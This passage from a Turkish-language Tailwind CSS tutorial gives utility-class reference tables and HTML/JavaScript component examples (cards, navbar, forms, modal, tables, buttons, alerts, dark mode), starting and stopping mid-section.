p-16 / m-164rem64px
p-20 / m-205rem80px
p-24 / m-246rem96px
html
<!-- Padding -->
<div class="p-4">Tum yonlere 16px padding</div>
<div class="px-6 py-3">Yatay 24px, dikey 12px</div>
<div class="pt-8 pb-4">Ust 32px, alt 16px</div>
<div class="pl-4">Sol 16px</div>

<!-- Margin -->
<div class="m-4">Tum yonlere 16px margin</div>
<div class="mx-auto">Yatay ortalama (block element)</div>
<div class="mt-8 mb-4">Ust 32px, alt 16px</div>
<div class="ml-auto">Saga yasla (flex icinde)</div>

<!-- Negatif margin -->
<div class="-mt-4">Ust -16px margin</div>

<!-- Gap (flex/grid icin) -->
<div class="flex gap-4">Elementler arasi 16px</div>
<div class="grid gap-x-4 gap-y-8">Yatay 16px, dikey 32px</div>

<!-- Space between (alternatif) -->
<div class="flex flex-col space-y-4">
  <div>Item 1</div>
  <div>Item 2</div>
  <div>Item 3</div>
</div>

Colors

html
<!-- Text renkleri -->
<p class="text-gray-900">Koyu metin</p>
<p class="text-gray-500">Orta metin</p>
<p class="text-gray-400">Acik metin</p>
<p class="text-blue-600">Mavi metin</p>
<p class="text-red-500">Kirmizi metin</p>
<p class="text-green-600">Yesil metin</p>

<!-- Background renkleri -->
<div class="bg-white">Beyaz arka plan</div>
<div class="bg-gray-50">Cok acik gri</div>
<div class="bg-gray-100">Acik gri</div>
<div class="bg-blue-500">Mavi arka plan</div>
<div class="bg-blue-500/75">%75 opak mavi</div>

<!-- Border renkleri -->
<div class="border border-gray-200">Acik gri border</div>
<div class="border-2 border-blue-500">Mavi border</div>

<!-- Ring (focus icin ideal) -->
<input class="ring-2 ring-blue-500 ring-offset-2" />

<!-- Gradient -->
<div class="bg-gradient-to-r from-blue-500 to-purple-500">
  Soldan saga gradient
</div>
<div class="bg-gradient-to-br from-pink-500 via-red-500 to-yellow-500">
  3 renkli gradient
</div>

Tailwind renk paleti: slate, gray, zinc, neutral, stone, red, orange, amber, yellow, lime, green, emerald, teal, cyan, sky, blue, indigo, violet, purple, fuchsia, pink, rose -- her biri 50-950 arasi tonlara sahip.

Typography

html
<!-- Font boyutu -->
<p class="text-xs">12px</p>
<p class="text-sm">14px</p>
<p class="text-base">16px (varsayilan)</p>
<p class="text-lg">18px</p>
<p class="text-xl">20px</p>
<p class="text-2xl">24px</p>
<p class="text-3xl">30px</p>
<p class="text-4xl">36px</p>
<p class="text-5xl">48px</p>

<!-- Font weight -->
<p class="font-light">300</p>
<p class="font-normal">400</p>
<p class="font-medium">500</p>
<p class="font-semibold">600</p>
<p class="font-bold">700</p>
<p class="font-extrabold">800</p>

<!-- Line height -->
<p class="leading-none">1</p>
<p class="leading-tight">1.25</p>
<p class="leading-normal">1.5</p>
<p class="leading-relaxed">1.625</p>
<p class="leading-loose">2</p>

<!-- Letter spacing -->
<p class="tracking-tighter">-0.05em</p>
<p class="tracking-tight">-0.025em</p>
<p class="tracking-normal">0</p>
<p class="tracking-wide">0.025em</p>
<p class="tracking-wider">0.05em</p>
<p class="tracking-widest">0.1em</p>

<!-- Text hizalama -->
<p class="text-left">Sola</p>
<p class="text-center">Ortaya</p>
<p class="text-right">Saga</p>
<p class="text-justify">Iki yana</p>

<!-- Text decoration -->
<p class="underline">Alti cizili</p>
<p class="line-through">Ustu cizili</p>
<p class="no-underline">Cizgisiz</p>

<!-- Text transform -->
<p class="uppercase">BUYUK HARF</p>
<p class="lowercase">kucuk harf</p>
<p class="capitalize">Bas Harfler Buyuk</p>

<!-- Truncate (tasma) -->
<p class="truncate">Cok uzun metin tek satirda kesilir...</p>
<p class="line-clamp-2">Iki satirda kesilir...</p>
<p class="line-clamp-3">Uc satirda kesilir...</p>

Borders

html
<!-- Border genisligi -->
<div class="border">1px border</div>
<div class="border-2">2px border</div>
<div class="border-4">4px border</div>
<div class="border-t-2">Sadece ust border</div>
<div class="border-b">Sadece alt border</div>

<!-- Border radius -->
<div class="rounded-none">0px</div>
<div class="rounded-sm">2px</div>
<div class="rounded">4px</div>
<div class="rounded-md">6px</div>
<div class="rounded-lg">8px</div>
<div class="rounded-xl">12px</div>
<div class="rounded-2xl">16px</div>
<div class="rounded-full">9999px (daire)</div>

<!-- Tek kose -->
<div class="rounded-t-lg">Ust koseler 8px</div>
<div class="rounded-tl-lg">Sol ust kose 8px</div>

<!-- Border stili -->
<div class="border-solid">Duz cizgi</div>
<div class="border-dashed">Kesikli cizgi</div>
<div class="border-dotted">Noktali cizgi</div>

<!-- Divide (child elementler arasi cizgi) -->
<div class="divide-y divide-gray-200">
  <div class="py-3">Item 1</div>
  <div class="py-3">Item 2</div>
  <div class="py-3">Item 3</div>
</div>

Shadows

html
<div class="shadow-sm">Kucuk golge</div>
<div class="shadow">Normal golge</div>
<div class="shadow-md">Orta golge</div>
<div class="shadow-lg">Buyuk golge</div>
<div class="shadow-xl">Cok buyuk golge</div>
<div class="shadow-2xl">En buyuk golge</div>
<div class="shadow-inner">Ic golge</div>
<div class="shadow-none">Golge yok</div>

<!-- Renkli golge -->
<div class="shadow-lg shadow-blue-500/50">Mavi golge</div>
<div class="shadow-lg shadow-red-500/30">Kirmizi golge</div>

Width / Height

html
<!-- Sabit genislik -->
<div class="w-16">4rem / 64px</div>
<div class="w-32">8rem / 128px</div>
<div class="w-64">16rem / 256px</div>

<!-- Oransal genislik -->
<div class="w-1/2">%50</div>
<div class="w-1/3">%33.33</div>
<div class="w-2/3">%66.66</div>
<div class="w-full">%100</div>
<div class="w-screen">100vw</div>
<div class="w-auto">Otomatik</div>

<!-- Max / Min genislik -->
<div class="max-w-sm">384px</div>
<div class="max-w-md">448px</div>
<div class="max-w-lg">512px</div>
<div class="max-w-xl">576px</div>
<div class="max-w-2xl">672px</div>
<div class="max-w-4xl">896px</div>
<div class="max-w-7xl">1280px</div>
<div class="max-w-full">%100</div>
<div class="min-w-0">0px</div>

<!-- Yukseklik -->
<div class="h-16">4rem / 64px</div>
<div class="h-screen">100vh</div>
<div class="h-full">%100</div>
<div class="min-h-screen">Min 100vh</div>
<div class="max-h-96">Max 24rem</div>

<!-- Aspect ratio -->
<div class="aspect-video">16:9</div>
<div class="aspect-square">1:1</div>

9) Tailwind Responsive

Breakpoint Prefix'leri

Tailwind mobile-first yaklasim kullanir. Prefix olmadan yazilan stiller tüm ekranlarda gecerlidir. Prefix ekleyerek o boyut ve ustu için stil tanimlarsiniz.

html
<!-- Mobil: tek sutun, Tablet: 2 sutun, Desktop: 3 sutun -->
<div class="grid grid-cols-1 sm:grid-cols-2 lg:grid-cols-3 gap-4">
  <div>Card 1</div>
  <div>Card 2</div>
  <div>Card 3</div>
</div>

<!-- Mobil: gizli, Desktop: gorunur -->
<div class="hidden lg:block">
  Sadece desktop'ta gorunur
</div>

<!-- Mobil: gorunur, Desktop: gizli -->
<div class="block lg:hidden">
  Sadece mobilde gorunur
</div>

<!-- Responsive padding -->
<div class="p-4 sm:p-6 lg:p-8 xl:p-12">
  Ekran buyudukce padding artar
</div>

<!-- Responsive font -->
<h1 class="text-2xl sm:text-3xl lg:text-4xl xl:text-5xl font-bold">
  Responsive Baslik
</h1>

<!-- Responsive flex direction -->
<div class="flex flex-col md:flex-row gap-4">
  <div class="w-full md:w-1/3">Sidebar</div>
  <div class="w-full md:w-2/3">Content</div>
</div>

<!-- Responsive container -->
<div class="mx-auto px-4 sm:px-6 lg:px-8 max-w-7xl">
  Centered container
</div>

Responsive Ornekler

html
<!-- Responsive navbar -->
<nav class="flex flex-col sm:flex-row sm:items-center sm:justify-between p-4">
  <div class="text-xl font-bold">Logo</div>
  <div class="flex flex-col sm:flex-row gap-2 sm:gap-6 mt-4 sm:mt-0">
    <a href="#" class="text-gray-600 hover:text-blue-600">Anasayfa</a>
    <a href="#" class="text-gray-600 hover:text-blue-600">Hakkinda</a>
    <a href="#" class="text-gray-600 hover:text-blue-600">Iletisim</a>
  </div>
</nav>

<!-- Responsive hero section -->
<section class="py-12 sm:py-16 lg:py-24 px-4">
  <div class="max-w-4xl mx-auto text-center">
    <h1 class="text-3xl sm:text-4xl lg:text-6xl font-bold text-gray-900">
      Baslik Metni
    </h1>
    <p class="mt-4 sm:mt-6 text-lg sm:text-xl text-gray-600 max-w-2xl mx-auto">
      Aciklama metni burada yer alir.
    </p>
    <div class="mt-8 flex flex-col sm:flex-row gap-4 justify-center">
      <a href="#" class="px-8 py-3 bg-blue-600 text-white rounded-lg">
        Baslayalim
      </a>
      <a href="#" class="px-8 py-3 border border-gray-300 rounded-lg">
        Daha Fazla
      </a>
    </div>
  </div>
</section>

<!-- Responsive image + text -->
<div class="flex flex-col lg:flex-row gap-8 items-center p-8">
  <img
    src="/image.jpg"
    alt="Gorsel"
    class="w-full lg:w-1/2 rounded-xl object-cover h-64 lg:h-auto"
  />
  <div class="w-full lg:w-1/2">
    <h2 class="text-2xl lg:text-3xl font-bold">Baslik</h2>
    <p class="mt-4 text-gray-600 leading-relaxed">
      Icerik metni burada yer alir. Mobilde resim ustte,
      desktop'ta yanda gorunur.
    </p>
  </div>
</div>

10) Tailwind Components (Pratik Ornekler)

Card Component

html
<!-- Basit card -->
<div class="bg-white rounded-xl shadow-md overflow-hidden max-w-sm">
  <img
    src="/image.jpg"
    alt="Card gorseli"
    class="w-full h-48 object-cover"
  />
  <div class="p-6">
    <span class="text-xs font-semibold text-blue-600 uppercase tracking-wide">
      Kategori
    </span>
    <h3 class="mt-2 text-lg font-semibold text-gray-900">
      Card Basligi
    </h3>
    <p class="mt-2 text-gray-600 text-sm leading-relaxed">
      Card aciklama metni buraya gelir. Kisa ve oz olmasidir.
    </p>
    <div class="mt-4 flex items-center justify-between">
      <span class="text-sm text-gray-500">3 dk okuma</span>
      <a href="#" class="text-blue-600 text-sm font-medium hover:text-blue-800">
        Devamini Oku
      </a>
    </div>
  </div>
</div>

<!-- Yatay card (responsive) -->
<div class="flex flex-col sm:flex-row bg-white rounded-xl shadow-md overflow-hidden">
  <img
    src="/image.jpg"
    alt="Card gorseli"
    class="w-full sm:w-48 h-48 sm:h-auto object-cover"
  />
  <div class="p-6">
    <h3 class="text-lg font-semibold text-gray-900">Yatay Card</h3>
    <p class="mt-2 text-gray-600 text-sm">
      Mobilde dikey, tablet ve ustunde yatay gorunur.
    </p>
  </div>
</div>
html
<nav class="bg-white shadow-sm">
  <div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
    <div class="flex items-center justify-between h-16">
      <!-- Logo -->
      <div class="flex-shrink-0">
        <span class="text-xl font-bold text-gray-900">Logo</span>
      </div>

      <!-- Desktop menu -->
      <div class="hidden md:flex md:items-center md:gap-8">
        <a href="#" class="text-gray-700 hover:text-blue-600 font-medium">
          Anasayfa
        </a>
        <a href="#" class="text-gray-700 hover:text-blue-600 font-medium">
          Urunler
        </a>
        <a href="#" class="text-gray-700 hover:text-blue-600 font-medium">
          Hakkinda
        </a>
        <a href="#" class="text-gray-700 hover:text-blue-600 font-medium">
          Iletisim
        </a>
        <a
          href="#"
          class="px-4 py-2 bg-blue-600 text-white rounded-lg hover:bg-blue-700 transition-colors"
        >
          Giris Yap
        </a>
      </div>

      <!-- Mobile menu button -->
      <button
        id="mobile-menu-btn"
        class="md:hidden p-2 rounded-md text-gray-500 hover:text-gray-700 hover:bg-gray-100"
      >
        <svg class="w-6 h-6" fill="none" stroke="currentColor" viewBox="0 0 24 24">
          <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2"
                d="M4 6h16M4 12h16M4 18h16" />
        </svg>
      </button>
    </div>
  </div>

  <!-- Mobile menu (varsayilan gizli) -->
  <div id="mobile-menu" class="hidden md:hidden border-t border-gray-200">
    <div class="px-4 py-3 space-y-2">
      <a href="#" class="block px-3 py-2 rounded-md text-gray-700 hover:bg-gray-100">
        Anasayfa
      </a>
      <a href="#" class="block px-3 py-2 rounded-md text-gray-700 hover:bg-gray-100">
        Urunler
      </a>
      <a href="#" class="block px-3 py-2 rounded-md text-gray-700 hover:bg-gray-100">
        Hakkinda
      </a>
      <a href="#" class="block px-3 py-2 rounded-md text-gray-700 hover:bg-gray-100">
        Iletisim
      </a>
      <a href="#" class="block px-3 py-2 bg-blue-600 text-white rounded-md text-center">
        Giris Yap
      </a>
    </div>
  </div>
</nav>

<script>
  const btn = document.getElementById('mobile-menu-btn');
  const menu = document.getElementById('mobile-menu');
  btn.addEventListener('click', () => {
    menu.classList.toggle('hidden');
  });
</script>

Form (Input, Label, Button, Validation)

html
<form class="max-w-md mx-auto p-6 bg-white rounded-xl shadow-md space-y-6">
  <h2 class="text-2xl font-bold text-gray-900">Kayit Ol</h2>

  <!-- Normal input -->
  <div>
    <label for="name" class="block text-sm font-medium text-gray-700 mb-1">
      Ad Soyad
    </label>
    <input
      type="text"
      id="name"
      placeholder="John Doe"
      class="w-full px-4 py-2.5 border border-gray-300 rounded-lg
             focus:ring-2 focus:ring-blue-500 focus:border-blue-500
             outline-none transition-shadow"
    />
  </div>

  <!-- Email input -->
  <div>
    <label for="email" class="block text-sm font-medium text-gray-700 mb-1">
      E-posta
    </label>
    <input
      type="email"
      id="email"
      placeholder="ornek@email.com"
      class="w-full px-4 py-2.5 border border-gray-300 rounded-lg
             focus:ring-2 focus:ring-blue-500 focus:border-blue-500
             outline-none transition-shadow"
    />
  </div>

  <!-- Error state -->
  <div>
    <label for="password" class="block text-sm font-medium text-gray-700 mb-1">
      Sifre
    </label>
    <input
      type="password"
      id="password"
      class="w-full px-4 py-2.5 border border-red-300 rounded-lg
             focus:ring-2 focus:ring-red-500 focus:border-red-500
             outline-none bg-red-50"
    />
    <p class="mt-1 text-sm text-red-600">Sifre en az 8 karakter olmalidir.</p>
  </div>

  <!-- Select -->
  <div>
    <label for="role" class="block text-sm font-medium text-gray-700 mb-1">
      Rol
    </label>
    <select
      id="role"
      class="w-full px-4 py-2.5 border border-gray-300 rounded-lg
             focus:ring-2 focus:ring-blue-500 focus:border-blue-500
             outline-none bg-white"
    >
      <option value="">Seciniz...</option>
      <option value="dev">Gelistirici</option>
      <option value="design">Tasarimci</option>
      <option value="pm">Proje Yoneticisi</option>
    </select>
  </div>

  <!-- Checkbox -->
  <div class="flex items-start gap-2">
    <input
      type="checkbox"
      id="terms"
      class="mt-1 w-4 h-4 text-blue-600 border-gray-300 rounded
             focus:ring-blue-500"
    />
    <label for="terms" class="text-sm text-gray-600">
      <a href="#" class="text-blue-600 hover:underline">Kullanim sartlarini</a>
      kabul ediyorum.
    </label>
  </div>

  <!-- Submit button -->
  <button
    type="submit"
    class="w-full py-2.5 bg-blue-600 text-white font-medium rounded-lg
           hover:bg-blue-700 focus:ring-4 focus:ring-blue-300
           transition-colors"
  >
    Kayit Ol
  </button>
</form>
html
<!-- Overlay + Modal -->
<div id="modal-backdrop"
     class="fixed inset-0 z-50 flex items-center justify-center
            bg-black/50 backdrop-blur-sm hidden">
  <div class="bg-white rounded-xl shadow-2xl w-full max-w-md mx-4
              transform transition-all">
    <!-- Header -->
    <div class="flex items-center justify-between p-6 border-b border-gray-200">
      <h3 class="text-lg font-semibold text-gray-900">Modal Basligi</h3>
      <button
        onclick="closeModal()"
        class="p-1 rounded-md text-gray-400 hover:text-gray-600 hover:bg-gray-100"
      >
        <svg class="w-5 h-5" fill="none" stroke="currentColor" viewBox="0 0 24 24">
          <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2"
                d="M6 18L18 6M6 6l12 12" />
        </svg>
      </button>
    </div>

    <!-- Body -->
    <div class="p-6">
      <p class="text-gray-600">
        Modal icerik metni burada yer alir. Kullaniciya bilgi
        vermek veya onay almak icin kullanilir.
      </p>
    </div>

    <!-- Footer -->
    <div class="flex justify-end gap-3 p-6 border-t border-gray-200">
      <button
        onclick="closeModal()"
        class="px-4 py-2 text-gray-700 bg-gray-100 rounded-lg
               hover:bg-gray-200 transition-colors"
      >
        Iptal
      </button>
      <button
        class="px-4 py-2 bg-blue-600 text-white rounded-lg
               hover:bg-blue-700 transition-colors"
      >
        Onayla
      </button>
    </div>
  </div>
</div>

<script>
function openModal() {
  document.getElementById('modal-backdrop').classList.remove('hidden');
  document.body.style.overflow = 'hidden'; // Scroll engelle
}
function closeModal() {
  document.getElementById('modal-backdrop').classList.add('hidden');
  document.body.style.overflow = ''; // Scroll geri ac
}
</script>

Table (Striped, Hover)

html
<div class="overflow-x-auto rounded-lg border border-gray-200">
  <table class="min-w-full divide-y divide-gray-200">
    <thead class="bg-gray-50">
      <tr>
        <th class="px-6 py-3 text-left text-xs font-semibold text-gray-500 uppercase tracking-wider">
          Ad
        </th>
        <th class="px-6 py-3 text-left text-xs font-semibold text-gray-500 uppercase tracking-wider">
          E-posta
        </th>
        <th class="px-6 py-3 text-left text-xs font-semibold text-gray-500 uppercase tracking-wider">
          Rol
        </th>
        <th class="px-6 py-3 text-right text-xs font-semibold text-gray-500 uppercase tracking-wider">
          Islem
        </th>
      </tr>
    </thead>
    <tbody class="bg-white divide-y divide-gray-200">
      <tr class="hover:bg-gray-50 transition-colors">
        <td class="px-6 py-4 whitespace-nowrap text-sm font-medium text-gray-900">
          Ahmet Yilmaz
        </td>
        <td class="px-6 py-4 whitespace-nowrap text-sm text-gray-500">
          ahmet@ornek.com
        </td>
        <td class="px-6 py-4 whitespace-nowrap">
          <span class="px-2 py-1 text-xs font-medium bg-green-100 text-green-800 rounded-full">
            Admin
          </span>
        </td>
        <td class="px-6 py-4 whitespace-nowrap text-right text-sm">
          <button class="text-blue-600 hover:text-blue-800">Duzenle</button>
        </td>
      </tr>
      <tr class="hover:bg-gray-50 transition-colors bg-gray-50/50">
        <td class="px-6 py-4 whitespace-nowrap text-sm font-medium text-gray-900">
          Elif Demir
        </td>
        <td class="px-6 py-4 whitespace-nowrap text-sm text-gray-500">
          elif@ornek.com
        </td>
        <td class="px-6 py-4 whitespace-nowrap">
          <span class="px-2 py-1 text-xs font-medium bg-blue-100 text-blue-800 rounded-full">
            Editor
          </span>
        </td>
        <td class="px-6 py-4 whitespace-nowrap text-right text-sm">
          <button class="text-blue-600 hover:text-blue-800">Duzenle</button>
        </td>
      </tr>
      <tr class="hover:bg-gray-50 transition-colors">
        <td class="px-6 py-4 whitespace-nowrap text-sm font-medium text-gray-900">
          Mehmet Kaya
        </td>
        <td class="px-6 py-4 whitespace-nowrap text-sm text-gray-500">
          mehmet@ornek.com
        </td>
        <td class="px-6 py-4 whitespace-nowrap">
          <span class="px-2 py-1 text-xs font-medium bg-gray-100 text-gray-800 rounded-full">
            Uye
          </span>
        </td>
        <td class="px-6 py-4 whitespace-nowrap text-right text-sm">
          <button class="text-blue-600 hover:text-blue-800">Duzenle</button>
        </td>
      </tr>
    </tbody>
  </table>
</div>

Button Variants

html
<!-- Primary -->
<button class="px-4 py-2 bg-blue-600 text-white rounded-lg
               hover:bg-blue-700 focus:ring-4 focus:ring-blue-300
               font-medium transition-all">
  Primary
</button>

<!-- Secondary -->
<button class="px-4 py-2 bg-gray-600 text-white rounded-lg
               hover:bg-gray-700 focus:ring-4 focus:ring-gray-300
               font-medium transition-all">
  Secondary
</button>

<!-- Success -->
<button class="px-4 py-2 bg-green-600 text-white rounded-lg
               hover:bg-green-700 focus:ring-4 focus:ring-green-300
               font-medium transition-all">
  Success
</button>

<!-- Danger -->
<button class="px-4 py-2 bg-red-600 text-white rounded-lg
               hover:bg-red-700 focus:ring-4 focus:ring-red-300
               font-medium transition-all">
  Danger
</button>

<!-- Outline -->
<button class="px-4 py-2 border-2 border-blue-600 text-blue-600 rounded-lg
               hover:bg-blue-50 focus:ring-4 focus:ring-blue-300
               font-medium transition-all">
  Outline
</button>

<!-- Ghost -->
<button class="px-4 py-2 text-blue-600 rounded-lg
               hover:bg-blue-50 focus:ring-4 focus:ring-blue-300
               font-medium transition-all">
  Ghost
</button>

<!-- Disabled -->
<button class="px-4 py-2 bg-blue-600 text-white rounded-lg
               font-medium opacity-50 cursor-not-allowed" disabled>
  Disabled
</button>

<!-- Loading -->
<button class="px-4 py-2 bg-blue-600 text-white rounded-lg
               font-medium flex items-center gap-2" disabled>
  <svg class="w-4 h-4 animate-spin" viewBox="0 0 24 24" fill="none">
    <circle class="opacity-25" cx="12" cy="12" r="10"
            stroke="currentColor" stroke-width="4" />
    <path class="opacity-75" fill="currentColor"
          d="M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z" />
  </svg>
  Yukleniyor...
</button>

<!-- Boyutlar -->
<button class="px-2.5 py-1 text-xs bg-blue-600 text-white rounded font-medium">
  XS
</button>
<button class="px-3 py-1.5 text-sm bg-blue-600 text-white rounded-md font-medium">
  SM
</button>
<button class="px-4 py-2 text-base bg-blue-600 text-white rounded-lg font-medium">
  MD
</button>
<button class="px-6 py-3 text-lg bg-blue-600 text-white rounded-lg font-medium">
  LG
</button>

Badge / Tag

html
<!-- Badge -->
<span class="px-2.5 py-0.5 text-xs font-medium bg-blue-100 text-blue-800 rounded-full">
  Yeni
</span>
<span class="px-2.5 py-0.5 text-xs font-medium bg-green-100 text-green-800 rounded-full">
  Aktif
</span>
<span class="px-2.5 py-0.5 text-xs font-medium bg-red-100 text-red-800 rounded-full">
  Hata
</span>
<span class="px-2.5 py-0.5 text-xs font-medium bg-yellow-100 text-yellow-800 rounded-full">
  Bekliyor
</span>
<span class="px-2.5 py-0.5 text-xs font-medium bg-gray-100 text-gray-800 rounded-full">
  Taslak
</span>
<span class="px-2.5 py-0.5 text-xs font-medium bg-purple-100 text-purple-800 rounded-full">
  Pro
</span>

<!-- Silinebilir tag -->
<span class="inline-flex items-center gap-1 px-3 py-1 bg-blue-100 text-blue-800
             text-sm font-medium rounded-full">
  JavaScript
  <button class="w-4 h-4 rounded-full hover:bg-blue-200 flex items-center justify-center">
    <svg class="w-3 h-3" fill="none" stroke="currentColor" viewBox="0 0 24 24">
      <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2"
            d="M6 18L18 6M6 6l12 12" />
    </svg>
  </button>
</span>

Alert / Notification

html
<!-- Info alert -->
<div class="p-4 bg-blue-50 border border-blue-200 rounded-lg flex gap-3">
  <svg class="w-5 h-5 text-blue-600 flex-shrink-0 mt-0.5" fill="currentColor" viewBox="0 0 20 20">
    <path fill-rule="evenodd"
          d="M18 10a8 8 0 11-16 0 8 8 0 0116 0zm-7-4a1 1 0 11-2 0 1 1 0 012 0zM9 9a1 1 0 000 2v3a1 1 0 001 1h1a1 1 0 100-2v-3a1 1 0 00-1-1H9z"
          clip-rule="evenodd" />
  </svg>
  <div>
    <h4 class="text-sm font-semibold text-blue-800">Bilgi</h4>
    <p class="text-sm text-blue-700 mt-1">Bu bir bilgilendirme mesajidir.</p>
  </div>
</div>

<!-- Success alert -->
<div class="p-4 bg-green-50 border border-green-200 rounded-lg flex gap-3">
  <svg class="w-5 h-5 text-green-600 flex-shrink-0 mt-0.5" fill="currentColor" viewBox="0 0 20 20">
    <path fill-rule="evenodd"
          d="M10 18a8 8 0 100-16 8 8 0 000 16zm3.707-9.293a1 1 0 00-1.414-1.414L9 10.586 7.707 9.293a1 1 0 00-1.414 1.414l2 2a1 1 0 001.414 0l4-4z"
          clip-rule="evenodd" />
  </svg>
  <div>
    <h4 class="text-sm font-semibold text-green-800">Basarili</h4>
    <p class="text-sm text-green-700 mt-1">Islem basariyla tamamlandi.</p>
  </div>
</div>

<!-- Warning alert -->
<div class="p-4 bg-yellow-50 border border-yellow-200 rounded-lg flex gap-3">
  <svg class="w-5 h-5 text-yellow-600 flex-shrink-0 mt-0.5" fill="currentColor" viewBox="0 0 20 20">
    <path fill-rule="evenodd"
          d="M8.257 3.099c.765-1.36 2.722-1.36 3.486 0l5.58 9.92c.75 1.334-.213 2.98-1.742 2.98H4.42c-1.53 0-2.493-1.646-1.743-2.98l5.58-9.92zM11 13a1 1 0 11-2 0 1 1 0 012 0zm-1-8a1 1 0 00-1 1v3a1 1 0 002 0V6a1 1 0 00-1-1z"
          clip-rule="evenodd" />
  </svg>
  <div>
    <h4 class="text-sm font-semibold text-yellow-800">Uyari</h4>
    <p class="text-sm text-yellow-700 mt-1">Bu islem geri alinamaz.</p>
  </div>
</div>

<!-- Error alert -->
<div class="p-4 bg-red-50 border border-red-200 rounded-lg flex gap-3">
  <svg class="w-5 h-5 text-red-600 flex-shrink-0 mt-0.5" fill="currentColor" viewBox="0 0 20 20">
    <path fill-rule="evenodd"
          d="M10 18a8 8 0 100-16 8 8 0 000 16zM8.707 7.293a1 1 0 00-1.414 1.414L8.586 10l-1.293 1.293a1 1 0 101.414 1.414L10 11.414l1.293 1.293a1 1 0 001.414-1.414L11.414 10l1.293-1.293a1 1 0 00-1.414-1.414L10 8.586 8.707 7.293z"
          clip-rule="evenodd" />
  </svg>
  <div>
    <h4 class="text-sm font-semibold text-red-800">Hata</h4>
    <p class="text-sm text-red-700 mt-1">Bir sorun olustu. Lutfen tekrar deneyin.</p>
  </div>
</div>

<!-- Kapatilabilir notification -->
<div id="notification"
     class="fixed top-4 right-4 z-50 p-4 bg-white rounded-lg shadow-lg border
            border-gray-200 flex items-start gap-3 max-w-sm
            transform transition-all duration-300">
  <div class="w-8 h-8 bg-green-100 rounded-full flex items-center justify-center flex-shrink-0">
    <svg class="w-4 h-4 text-green-600" fill="currentColor" viewBox="0 0 20 20">
      <path fill-rule="evenodd"
            d="M16.707 5.293a1 1 0 010 1.414l-8 8a1 1 0 01-1.414 0l-4-4a1 1 0 011.414-1.414L8 12.586l7.293-7.293a1 1 0 011.414 0z"
            clip-rule="evenodd" />
    </svg>
  </div>
  <div class="flex-1">
    <p class="text-sm font-semibold text-gray-900">Kaydedildi</p>
    <p class="text-sm text-gray-500 mt-0.5">Degisiklikler basariyla kaydedildi.</p>
  </div>
  <button onclick="this.closest('#notification').remove()"
          class="text-gray-400 hover:text-gray-600">
    <svg class="w-4 h-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
      <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2"
            d="M6 18L18 6M6 6l12 12" />
    </svg>
  </button>
</div>

11) Tailwind Dark Mode

Class Strategy (Önerilen)

js
// tailwind.config.js
module.exports = {
  darkMode: 'class', // 'media' yerine 'class' kullanin
  // ...
}
html
<!-- html etiketine 'dark' class'i eklendiginde aktif olur -->
<html class="dark">
  <body class="bg-white dark:bg-gray-900 text-gray-900 dark:text-gray-100">
    ...
  </body>
</html>

Media Strategy

js
// tailwind.config.js
module.exports = {
  darkMode: 'media', // Sistem tercihine gore otomatik
  // ...
}

Dark Mode Ornekleri

html
<!-- Card (dark mode destekli) -->
<div class="bg-white dark:bg-gray-800
            border border-gray-200 dark:border-gray-700
            rounded-xl shadow-md dark:shadow-gray-900/30
            p-6 transition-colors">
  <h3 class="text-lg font-semibold text-gray-900 dark:text-white">
    Card Basligi
  </h3>
  <p class="mt-2 text-gray-600 dark:text-gray-400">
    Aciklama metni burada yer alir.
  </p>
  <button class="mt-4 px-4 py-2 bg-blue-600 dark:bg-blue-500
                 text-white rounded-lg
                 hover:bg-blue-700 dark:hover:bg-blue-600
                 transition-colors">
    Detay
  </button>
</div>

<!-- Input (dark mode destekli) -->
<input
  type="text"
  placeholder="Arama..."
  class="w-full px-4 py-2.5
         bg-white dark:bg-gray-800
         border border-gray-300 dark:border-gray-600
         text-gray-900 dark:text-gray-100
         placeholder-gray-400 dark:placeholder-gray-500
         rounded-lg focus:ring-2 focus:ring-blue-500
         outline-none transition-colors"
/>

<!-- Navbar (dark mode destekli) -->
<nav class="bg-white dark:bg-gray-900
            border-b border-gray-200 dark:border-gray-800
            transition-colors">
  <div class="max-w-7xl mx-auto px-4 flex items-center justify-between h-16">
    <span class="text-xl font-bold text-gray-900 dark:text-white">Logo</span>
    <div class="flex items-center gap-6">
      <a href="#" class="text-gray-600 dark:text-gray-300
                         hover:text-gray-900 dark:hover:text-white">
        Anasayfa
      </a>
      <a href="#" class="text-gray-600 dark:text-gray-300
                         hover:text-gray-900 dark:hover:text-white">
        Hakkinda
      </a>
    </div>
  </div>
</nav>

JavaScript Toggle

html
<!-- Toggle butonu -->
<button
  id="theme-toggle"
  class="p-2 rounded-lg bg-gray-100 dark:bg-gray-800
         text-gray-600 dark:text-gray-300
         hover:bg-gray-200 dark:hover:bg-gray-700
         transition-colors"
>
  <!-- Gunes ikonu (dark modda gorunur) -->
  <svg class="w-5 h-5 hidden dark:block" fill="currentColor" viewBox="0 0 20 20">
    <path fill-rule="evenodd"
          d="M10 2a1 1 0 011 1v1a1 1 0 11-2 0V3a1 1 0 011-1zm4 8a4 4 0 11-8 0 4 4 0 018 0zm-.464 4.95l.707.707a1 1 0 001.414-1.414l-.707-.707a1 1 0 00-1.414 1.414zm2.12-10.607a1 1 0 010 1.414l-.706.707a1 1 0 11-1.414-1.414l.707-.707a1 1 0 011.414 0zM17 11a1 1 0 100-2h-1a1 1 0 100 2h1zm-7 4a1 1 0 011 1v1a1 1 0 11-2 0v-1a1 1 0 011-1zM5.05 6.464A1 1 0 106.465 5.05l-.708-.707a1 1 0 00-1.414 1.414l.707.707zm1.414 8.486l-.707.707a1 1 0 01-1.414-1.414l.707-.707a1 1 0 011.414 1.414zM4 11a1 1 0 100-2H3a1 1 0 000 2h1z"
          clip-rule="evenodd" />
  </svg>
  <!-- Ay ikonu (light modda gorunur) -->
  <svg class="w-5 h-5 block dark:hidden" fill="currentColor" viewBox="0 0 20 20">
    <path d="M17.293 13.293A8 8 0 016.707 2.707a8.001 8.001 0 1010.586 10.586z" />
  </svg>
</button>

<script>
  const themeToggle = document.getElementById('theme-toggle');

  // Toggle islevi
  themeToggle.addEventListener('click', () => {
    const html = document.documentElement;
    html.classList.toggle('dark');

    // localStorage'a kaydet
    const isDark = html.classList.contains('dark');
    localStorage.setItem('theme', isDark ? 'dark' : 'light');
  });

  // Sayfa yuklenirken tema tercihini uygula
